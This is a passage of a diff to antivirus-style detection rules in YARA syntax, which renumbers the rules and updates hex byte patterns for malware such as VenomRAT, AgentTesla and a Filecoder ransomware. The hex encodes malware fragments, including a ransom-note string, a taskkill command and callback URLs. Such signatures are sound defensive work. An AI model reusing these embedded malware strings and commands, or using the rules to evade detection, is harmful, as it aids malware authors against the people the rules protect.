_InfrastructureShared_13389{ +rule _InfrastructureShared_14274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -151027,7 +161186,7 @@ rule _InfrastructureShared_13389{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28786+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720) >=5 } -rule _InfrastructureShared_13390{ +rule _InfrastructureShared_14275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -151040,7 +161199,7 @@ rule _InfrastructureShared_13390{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*288+(#a_00_2 & 1)*101+(#a_61_3 & 1)*29550) >=6 } -rule _InfrastructureShared_13391{ +rule _InfrastructureShared_14276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -151054,7 +161213,7 @@ rule _InfrastructureShared_13391{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28233+(#a_72_2 & 1)*14918+(#a_73_3 & 1)*29289+(#a_4d_4 & 1)*12082) >=6 } -rule _InfrastructureShared_13392{ +rule _InfrastructureShared_14277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -151068,7 +161227,7 @@ rule _InfrastructureShared_13392{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*24908+(#a_46_2 & 1)*16675+(#a_00_3 & 1)*118+(#a_00_5 & 1)*0) >=6 } -rule _InfrastructureShared_13393{ +rule _InfrastructureShared_14278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -151082,7 +161241,7 @@ rule _InfrastructureShared_13393{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*118+(#a_00_3 & 1)*0+(#a_52_4 & 1)*21320+(#a_38_5 & 1)*11577) >=6 } -rule _InfrastructureShared_13394{ +rule _InfrastructureShared_14279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -151097,7 +161256,7 @@ rule _InfrastructureShared_13394{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*12898+(#a_00_2 & 1)*27491+(#a_65_3 & 1)*17153+(#a_39_4 & 1)*13618+(#a_74_5 & 1)*28537) >=6 } -rule _InfrastructureShared_13395{ +rule _InfrastructureShared_14280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -151112,7 +161271,7 @@ rule _InfrastructureShared_13395{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*11574+(#a_74_2 & 1)*28537+(#a_73_3 & 1)*25968+(#a_00_4 & 1)*30789+(#a_66_5 & 1)*29556) >=6 } -rule _InfrastructureShared_13396{ +rule _InfrastructureShared_14281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -151126,7 +161285,7 @@ rule _InfrastructureShared_13396{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28009+(#a_52_3 & 1)*21320+(#a_64_4 & 1)*27759+(#a_48_5 & 1)*8448) >=6 } -rule _InfrastructureShared_13397{ +rule _InfrastructureShared_14282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -151141,7 +161300,7 @@ rule _InfrastructureShared_13397{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*26723+(#a_33_2 & 1)*26967+(#a_70_3 & 1)*16686+(#a_77_4 & 1)*17484+(#a_61_5 & 1)*29550) >=6 } -rule _InfrastructureShared_13398{ +rule _InfrastructureShared_14283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -151156,7 +161315,7 @@ rule _InfrastructureShared_13398{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26996+(#a_57_2 & 1)*16725+(#a_00_3 & 1)*29291+(#a_73_4 & 1)*384+(#a_6c_5 & 1)*29811) >=6 } -rule _InfrastructureShared_13399{ +rule _InfrastructureShared_14284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -151173,7 +161332,7 @@ rule _InfrastructureShared_13399{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*11873+(#a_c2_2 & 1)*0+(#a_00_4 & 1)*68+(#a_66_5 & 1)*1130+(#a_66_6 & 1)*20993+(#a_74_7 & 1)*29795+(#a_46_8 & 1)*19529) >=6 } -rule _InfrastructureShared_13400{ +rule _InfrastructureShared_14285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -151184,7 +161343,7 @@ rule _InfrastructureShared_13400{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*45) >=7 } -rule _InfrastructureShared_13401{ +rule _InfrastructureShared_14286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -151197,7 +161356,7 @@ rule _InfrastructureShared_13401{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24943+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=7 } -rule _InfrastructureShared_13402{ +rule _InfrastructureShared_14287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -151212,7 +161371,7 @@ rule _InfrastructureShared_13402{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*24914+(#a_41_2 & 1)*8448+(#a_01_3 & 1)*3584+(#a_73_4 & 1)*25964+(#a_72_6 & 1)*25345) >=7 } -rule _InfrastructureShared_13403{ +rule _InfrastructureShared_14288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -151228,7 +161387,7 @@ rule _InfrastructureShared_13403{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*29541+(#a_4c_2 & 1)*8993+(#a_38_3 & 1)*20269+(#a_73_4 & 1)*13880+(#a_2f_5 & 1)*18771+(#a_75_6 & 1)*29541) >=7 } -rule _InfrastructureShared_13404{ +rule _InfrastructureShared_14289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -151244,7 +161403,7 @@ rule _InfrastructureShared_13404{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30051+(#a_3a_2 & 1)*21587+(#a_73_3 & 1)*26996+(#a_23_4 & 1)*8+(#a_21_5 & 1)*12850+(#a_70_6 & 1)*28483) >=7 } -rule _InfrastructureShared_13405{ +rule _InfrastructureShared_14290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -151260,7 +161419,7 @@ rule _InfrastructureShared_13405{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29810+(#a_54_2 & 1)*18467+(#a_6d_3 & 1)*17153+(#a_61_4 & 1)*28530+(#a_69_5 & 1)*384+(#a_65_6 & 1)*28483) >=7 } -rule _InfrastructureShared_13406{ +rule _InfrastructureShared_14291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -151276,7 +161435,7 @@ rule _InfrastructureShared_13406{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*17153+(#a_61_2 & 1)*28530+(#a_69_3 & 1)*384+(#a_65_4 & 1)*28483+(#a_65_5 & 1)*26223+(#a_00_7 & 1)*116) >=7 } -rule _InfrastructureShared_13407{ +rule _InfrastructureShared_14292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 07 00 06 00 21 " @@ -151290,7 +161449,7 @@ rule _InfrastructureShared_13407{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*18753+(#a_74_2 & 1)*21316+(#a_61_4 & 1)*384+(#a_69_5 & 1)*27745) >=7 } -rule _InfrastructureShared_13408{ +rule _InfrastructureShared_14293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -151299,25 +161458,37 @@ rule _InfrastructureShared_13408{ $a_62_1 = {65 4f 66 66 65 72 01 00 0c 80 01 44 69 73 61 62 6c 65 4f 66 66 65 72 01 00 12 80 01 44 6f 77 6e 6c 6f 61 64 69 6e 67 20 6f 66 66 65 72 73 01 00 11 80 01 49 6e 73 74 61 6c 6c 69 6e 67 20 6f 66 66 65 72 73 01 00 08 80 01 64 69 76 78 2e 63 6f 6d 01 00 0d 80 01 44 69 76 58 53 65 74 75 70 2e 70 } //28229 $a_00_4 = {03 00 21 23 54 72 6f 6a 61 6e } //10 $a_6e_5 = {32 2f 4b 69 7a 6e 69 7a 7a 2e 41 00 01 00 42 00 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2f 00 66 00 20 00 2f 00 74 00 20 00 2f 00 69 00 6d 00 20 00 63 00 68 00 72 00 6f 00 6d 00 65 00 2e 00 65 00 78 00 65 00 01 00 2b 01 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f } //22330 - $a_69_6 = {69 6e 69 7a 2e 63 6f 6d 2f 65 78 74 2f 72 2e 70 68 70 22 01 00 26 01 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 6d 65 6e 74 6f 73 78 2e 63 6f 6d 2f 73 63 72 69 70 74 2f 72 2e 70 68 70 22 00 00 02 00 78 c2 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 56 65 6e 6f 6d 52 41 54 2e 42 4a 21 4d 54 } //26987 - $a_00_7 = {40 03 02 8e 69 } //66 + $a_69_6 = {69 6e 69 7a 2e 63 6f 6d 2f 65 78 74 2f 72 2e 70 68 70 22 01 00 26 01 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 6d 65 6e 74 6f 73 78 2e 63 6f 6d 2f 73 63 72 69 70 74 2f 72 2e 70 68 70 22 00 00 02 00 78 c2 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 46 69 6c 65 63 6f 64 65 72 2e 53 58 21 } //26987 + $a_00_7 = {05 00 3d 03 41 b8 00 00 00 00 ba 00 00 00 00 48 89 c1 48 8b 05 90 01 04 ff d0 90 01 0b 48 8b 45 90 01 01 48 c7 44 24 20 00 00 00 00 4d 89 c1 41 89 c8 48 89 c1 48 8b 05 90 01 04 ff d0 85 c0 90 00 03 } //21581 condition: - ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*28229+(#a_00_4 & 1)*10+(#a_6e_5 & 1)*22330+(#a_69_6 & 1)*26987+(#a_00_7 & 1)*66) >=8 + ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*28229+(#a_00_4 & 1)*10+(#a_6e_5 & 1)*22330+(#a_69_6 & 1)*26987+(#a_00_7 & 1)*21581) >=8 } -rule _InfrastructureShared_13409{ +rule _InfrastructureShared_14294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " strings : $a_6f_0 = {61 6e 3a 57 69 6e 33 32 2f 4b 69 7a 6e 69 7a 7a 2e 41 00 01 00 42 00 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2f 00 66 00 20 00 2f 00 74 00 20 00 2f 00 69 00 6d 00 20 00 63 00 68 00 72 00 6f 00 6d 00 65 00 2e 00 65 00 78 00 65 00 01 00 2b 01 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 69 } //21539 - $a_69_1 = {69 7a 2e 63 6f 6d 2f 65 78 74 2f 72 2e 70 68 70 22 01 00 26 01 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 6d 65 6e 74 6f 73 78 2e 63 6f 6d 2f 73 63 72 69 70 74 2f 72 2e 70 68 70 22 00 00 02 00 78 c2 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 56 65 6e 6f 6d 52 41 54 2e 42 4a 21 4d 54 42 00 05 00 40 03 02 8e 69 28 90 01 01 00 00 0a 0d } //26987 - $a_01_2 = {00 } //-28632 + $a_69_1 = {69 7a 2e 63 6f 6d 2f 65 78 74 2f 72 2e 70 68 70 22 01 00 26 01 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 6d 65 6e 74 6f 73 78 2e 63 6f 6d 2f 73 63 72 69 70 74 2f 72 2e 70 68 70 22 00 00 02 00 78 c2 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 46 69 6c 65 63 6f 64 65 72 2e 53 58 21 4d 54 42 00 05 00 3d 03 41 b8 00 00 00 00 ba 00 00 } //26987 + $a_89_2 = {48 8b 05 90 01 04 ff d0 90 01 0b 48 8b 45 90 01 01 48 c7 44 24 20 00 00 00 00 4d 89 c1 41 89 c8 48 89 c1 48 8b 05 90 01 04 ff d0 85 c0 90 00 03 00 20 03 48 8d 55 c0 48 8b 85 90 01 02 00 00 48 89 c1 48 8b 05 90 01 04 } //0 condition: - ((#a_6f_0 & 1)*21539+(#a_69_1 & 1)*26987+(#a_01_2 & 1)*-28632) >=10 + ((#a_6f_0 & 1)*21539+(#a_69_1 & 1)*26987+(#a_89_2 & 1)*0) >=10 } -rule _InfrastructureShared_13410{ +rule _InfrastructureShared_14295{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " + + strings : + $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 46 69 6c 65 63 6f 64 65 72 2e 53 58 21 4d 54 42 00 05 00 3d 03 41 b8 00 00 00 00 ba 00 00 00 00 48 89 c1 48 8b 05 90 01 04 ff d0 90 01 0b 48 8b 45 90 01 01 48 c7 44 24 } //21539 + $a_c1_2 = {89 c8 48 89 c1 48 8b 05 90 01 04 ff d0 85 c0 90 00 03 00 20 03 48 8d 55 c0 48 8b 85 90 01 02 00 00 48 89 c1 48 8b 05 90 01 04 ff d0 85 c0 0f 95 c0 84 c0 90 00 01 00 1f 01 59 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 2e 01 00 0a 01 72 61 6e 73 6f 6d 2e 74 78 74 00 00 78 c2 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 56 65 6e 6f 6d } //19712 + $a_2e_3 = {4a 21 4d 54 42 00 05 00 40 03 02 8e 69 28 90 01 01 00 00 0a 0d 28 90 01 01 00 00 06 15 17 6f 90 01 01 00 00 0a 26 28 90 01 01 00 00 06 09 16 09 8e 69 6f 90 01 01 00 00 0a 00 02 8e 69 20 40 42 0f 00 fe 02 13 04 11 04 90 00 03 00 18 03 0a 13 05 00 16 13 } //16722 + condition: + ((#a_4c_0 & 1)*21539+(#a_c1_2 & 1)*19712+(#a_2e_3 & 1)*16722) >=10 + +} +rule _InfrastructureShared_14296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -151329,7 +161500,7 @@ rule _InfrastructureShared_13410{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*-29175+(#a_00_3 & 1)*0) >=10 } -rule _InfrastructureShared_13411{ +rule _InfrastructureShared_14297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -151345,7 +161516,7 @@ rule _InfrastructureShared_13411{ ((#a_46_0 & 1)*16675+(#a_d3_1 & 1)*-8123+(#a_21_2 & 1)*31029+(#a_75_3 & 1)*25938+(#a_1a_4 & 1)*4358+(#a_5a_5 & 1)*4378+(#a_18_6 & 1)*23051) >=10 } -rule _InfrastructureShared_13412{ +rule _InfrastructureShared_14298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -151359,7 +161530,7 @@ rule _InfrastructureShared_13412{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*97+(#a_4d_3 & 1)*28257+(#a_58_4 & 1)*2833+(#a_72_6 & 1)*29441) >=11 } -rule _InfrastructureShared_13413{ +rule _InfrastructureShared_14299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -151371,7 +161542,7 @@ rule _InfrastructureShared_13413{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*1553+(#a_52_2 & 1)*22616) >=12 } -rule _InfrastructureShared_13414{ +rule _InfrastructureShared_14300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -151385,7 +161556,7 @@ rule _InfrastructureShared_13414{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*29554+(#a_00_3 & 1)*0+(#a_61_4 & 1)*28530+(#a_34_5 & 1)*25971) >=12 } -rule _InfrastructureShared_13415{ +rule _InfrastructureShared_14301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 08 00 21 " @@ -151402,7 +161573,7 @@ rule _InfrastructureShared_13415{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25938+(#a_61_2 & 1)*28530+(#a_00_3 & 1)*400+(#a_11_4 & 1)*4952+(#a_6f_5 & 1)*384+(#a_65_6 & 1)*16687+(#a_65_7 & 1)*25963) >=12 } -rule _InfrastructureShared_13416{ +rule _InfrastructureShared_14302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -151414,7 +161585,7 @@ rule _InfrastructureShared_13416{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*5647+(#a_a4_2 & 1)*27022) >=13 } -rule _InfrastructureShared_13417{ +rule _InfrastructureShared_14303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -151429,7 +161600,7 @@ rule _InfrastructureShared_13417{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*4127+(#a_00_2 & 1)*21581+(#a_48_3 & 1)*17985+(#a_47_4 & 1)*-32492+(#a_63_5 & 1)*30789) >=15 } -rule _InfrastructureShared_13418{ +rule _InfrastructureShared_14304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 08 00 21 " @@ -151444,7 +161615,7 @@ rule _InfrastructureShared_13418{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*385+(#a_74_2 & 1)*18177+(#a_36_3 & 1)*14641+(#a_65_5 & 1)*17153+(#a_00_7 & 1)*50) >=15 } -rule _InfrastructureShared_13419{ +rule _InfrastructureShared_14305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -151460,7 +161631,7 @@ rule _InfrastructureShared_13419{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*25927+(#a_6f_2 & 1)*21562+(#a_65_3 & 1)*25972+(#a_48_4 & 1)*8448+(#a_11_5 & 1)*14080+(#a_04_6 & 1)*-28531) >=16 } -rule _InfrastructureShared_13420{ +rule _InfrastructureShared_14306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -151475,21 +161646,32 @@ rule _InfrastructureShared_13420{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*144+(#a_65_3 & 1)*385+(#a_48_4 & 1)*-32497+(#a_62_5 & 1)*22384+(#a_20_6 & 1)*1025) >=16 } -rule _InfrastructureShared_13421{ +rule _InfrastructureShared_14307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 4c 4c 21 4d 54 42 00 0a 00 37 02 11 04 14 17 8d 90 01 04 25 16 19 8d 90 01 04 25 16 7e 90 01 04 a2 25 17 7e 90 01 04 a2 25 18 72 90 01 03 70 a2 a2 6f 90 01 04 26 20 00 08 00 } //18467 $a_00_1 = {06 2a 90 00 02 00 12 80 01 46 6f 72 6d 61 74 74 65 72 54 79 70 65 53 74 79 6c 65 02 00 13 80 01 57 53 54 52 42 75 66 66 65 72 4d } //2560 - $a_68_2 = {6c 65 72 02 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 02 00 10 80 01 45 71 75 61 6c 69 74 79 43 6f 6d 70 61 72 65 72 00 00 78 c2 00 00 14 00 14 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 4f 54 21 4d 54 42 00 0a 00 24 02 20 00 01 00 00 14 14 17 8d 90 01 04 25 16 0e 04 } //29281 - $a_01_3 = {04 74 90 01 04 0a 02 06 28 90 01 04 26 2a 90 00 02 00 12 80 01 46 6f 72 6d 61 74 74 65 72 54 79 70 65 53 74 79 6c 65 02 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 02 00 13 80 01 57 53 54 52 42 75 66 66 65 72 4d 61 72 73 68 61 6c 65 72 02 00 10 80 01 45 71 75 61 6c 69 74 79 43 6f 6d 70 61 72 65 72 02 00 0e 80 01 73 79 73 74 65 6d 2e 63 6f 6e 76 65 72 74 00 00 78 c2 00 00 14 00 14 00 06 00 21 23 54 72 6f 6a 61 6e } //28578 - $a_49_4 = {2f 4b 72 79 70 74 69 6b 2e 55 47 21 4d 54 42 00 0a 00 34 03 0b 07 1f 20 8d 90 02 04 25 d0 90 02 11 07 1f 10 8d 90 02 04 25 d0 90 02 11 06 07 6f 90 02 04 17 73 90 02 04 0c 08 02 16 02 8e 69 6f 90 02 11 0d 09 2a 90 00 02 00 0f 80 01 43 72 65 61 74 65 } //19770 + $a_68_2 = {6c 65 72 02 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 02 00 10 80 01 45 71 75 61 6c 69 74 79 43 6f 6d 70 61 72 65 72 00 00 78 c2 00 00 14 00 14 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 50 47 51 21 4d 54 42 00 0a 00 2f 03 26 08 08 5a 20 90 01 03 14 6a 5e 0c 07 11 07 08 6d 9e 06 11 07 08 08 } //29281 + $a_01_3 = {03 44 6a 5e 6d 9e 11 07 17 58 13 07 11 07 1f 10 32 d4 90 00 0a 00 64 03 02 11 08 95 06 11 08 1f 0f 5f 95 61 13 09 06 11 08 1f 0f 5f 06 11 08 1f 0f 5f 95 11 09 61 20 90 01 03 3d 58 9e 09 11 04 11 09 d2 9c 09 11 04 17 58 11 09 1e 64 d2 9c 09 11 04 18 58 11 09 1f 10 64 d2 9c 09 11 04 19 58 11 09 1f 18 64 d2 9c 11 04 1a 58 13 04 11 08 17 58 13 08 11 08 02 8e 69 32 9e 90 00 00 00 78 c2 00 00 14 00 14 00 06 00 21 23 54 45 4c 3a 54 72 } //8282 + $a_6e_4 = {4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 4f 54 21 4d 54 42 00 0a 00 24 02 20 00 01 00 00 14 14 17 8d 90 01 04 25 16 0e 04 a2 6f 90 01 04 74 90 01 04 0a 02 06 28 90 01 04 26 2a 90 00 02 00 12 80 01 46 6f 72 6d 61 74 74 65 72 54 79 70 65 53 74 79 6c 65 02 00 10 80 01 46 72 6f 6d } //27247 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2560+(#a_68_2 & 1)*29281+(#a_01_3 & 1)*28578+(#a_49_4 & 1)*19770) >=18 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2560+(#a_68_2 & 1)*29281+(#a_01_3 & 1)*8282+(#a_6e_4 & 1)*27247) >=18 } -rule _InfrastructureShared_13422{ +rule _InfrastructureShared_14308{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 50 47 51 21 4d 54 42 00 0a 00 2f 03 26 08 08 5a 20 90 01 03 14 6a 5e 0c 07 11 07 08 6d 9e 06 11 07 08 08 5a 20 90 01 03 44 6a 5e 6d 9e 11 07 17 58 13 07 11 } //21539 + $a_32_1 = {90 00 0a 00 64 03 02 11 08 95 06 11 08 1f 0f 5f } //7943 + condition: + ((#a_4c_0 & 1)*21539+(#a_32_1 & 1)*7943) >=20 + +} +rule _InfrastructureShared_14309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -151503,7 +161685,7 @@ rule _InfrastructureShared_13422{ ((#a_4c_0 & 1)*21539+(#a_01_2 & 1)*4608+(#a_79_3 & 1)*19247+(#a_73_4 & 1)*27718+(#a_34_5 & 1)*24931) >=20 } -rule _InfrastructureShared_13423{ +rule _InfrastructureShared_14310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -151518,7 +161700,7 @@ rule _InfrastructureShared_13423{ ((#a_6f_0 & 1)*21539+(#a_6e_1 & 1)*18541+(#a_2d_2 & 1)*12368+(#a_6c_3 & 1)*25938+(#a_72_4 & 1)*14918+(#a_11_5 & 1)*9628) >=20 } -rule _InfrastructureShared_13424{ +rule _InfrastructureShared_14311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 06 00 21 " @@ -151533,7 +161715,7 @@ rule _InfrastructureShared_13424{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25441+(#a_00_2 & 1)*26+(#a_6f_3 & 1)*21562+(#a_02_4 & 1)*29188+(#a_62_5 & 1)*29216) >=24 } -rule _InfrastructureShared_13425{ +rule _InfrastructureShared_14312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 05 00 21 " @@ -151546,7 +161728,7 @@ rule _InfrastructureShared_13425{ ((#a_46_0 & 1)*16675+(#a_18_1 & 1)*656+(#a_25_2 & 1)*818+(#a_00_4 & 1)*80) >=26 } -rule _InfrastructureShared_13426{ +rule _InfrastructureShared_14313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 07 00 21 " @@ -151560,7 +161742,7 @@ rule _InfrastructureShared_13426{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*31088+(#a_69_2 & 1)*26926+(#a_39_3 & 1)*654+(#a_09_5 & 1)*22807) >=26 } -rule _InfrastructureShared_13427{ +rule _InfrastructureShared_14314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -151570,7 +161752,7 @@ rule _InfrastructureShared_13427{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13428{ +rule _InfrastructureShared_14315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -151580,7 +161762,7 @@ rule _InfrastructureShared_13428{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13429{ +rule _InfrastructureShared_14316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -151591,18 +161773,28 @@ rule _InfrastructureShared_13429{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762) >=1 } -rule _InfrastructureShared_13430{ +rule _InfrastructureShared_14317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_46_0 = {59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 53 74 75 78 6e 65 74 5f 4d 61 6c 77 61 72 65 5f 34 00 01 00 1e 01 5c 6f 62 6a 66 72 65 5f 77 32 6b 5f 78 38 36 5c 69 33 38 36 5c 67 75 61 76 61 2e 70 64 62 01 00 34 03 4d 00 52 } //16675 - $a_00_2 = {2e 00 73 00 79 00 73 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 34 03 4d 00 52 00 58 00 4e 00 45 00 54 00 2e 00 53 00 79 00 73 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 00 00 78 c3 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a } //108 + $a_00_2 = {2e 00 73 00 79 00 73 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 